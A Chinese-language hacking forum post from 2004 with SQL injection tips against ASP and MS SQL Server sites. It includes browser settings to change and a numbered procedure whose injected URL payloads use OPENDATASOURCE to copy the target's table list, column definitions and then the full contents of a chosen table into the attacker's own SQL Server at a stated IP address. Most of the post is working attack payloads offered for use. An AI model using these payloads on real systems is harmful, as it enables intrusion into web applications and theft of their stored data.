|
![]() | 作者: linux [wish259]
![]() |
登录 |
注射的一些技巧 这是浏览器导致的,并非对方的asp所谓,一些特殊符号不能直接在浏览器里面输入, 其实没有必要全部转换成%xx的模式,写个htm里面javascript window.location.href=".....这里随便你了......" 就可以了,该转码的都会自己转码。 另外用sqlinject记住两点 浏览器选项高级里面 1. UTF8一定要关闭 2. 友好的http信息显示一定要关闭 另外如果要偷取一个对方库里面指定一个表的数据,简单的办法就是 假设你的本地sqlserver ip是202.99.8.1 sa空 1433 tcp 默认库pop 1。 创建一个表,两个个字段number和varchar(255)就可以,表名[tmp1] 2。 然后 news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmp1 select [id],[name] from sysobjects where xtype='U' -- 3。 无看看你的tmp1的内容,找到你想要的那个表,比如[news]对应的id=12345 4。 在你的sqlserver执行 select * into [tmpcolumns] from syscolumns where 1=2 5。 然后 news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.tmpcolumns select * from sysobjects where id=12345 -- 6。 现在看看tmpcolumns你已经得到这个news的所有字段信息了 7。 根据字段本地创建创建新表[newtable] 8。 然后 news.asp?id=5 insert into opendatasource('sqloledb','driver={sql server};server=202.99.8.1;network=sbmssocn;address=202.99.8.1,1433;uid=sa;pwd=;database=pop').pop.dbo.newtable select * from [news] -- 以上方法不需要猜测表名,也不需要是sysadmin,所以只要有sqlinject漏洞并且是sqlserver的话,那么绝大多数都可以通过。并且你可以指定你要的表你要的字段,而不需要去down整个庞大的库。 不过sqlinject真的没必要花太多的精力在上面。 注:select * into [tmpcolumns] from syscolumns where 1=2的1=2判断绝对没有写错,这么做是一种复制表结构的偷懒办法 |
地主 发表时间: 04-07-29 00:07 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号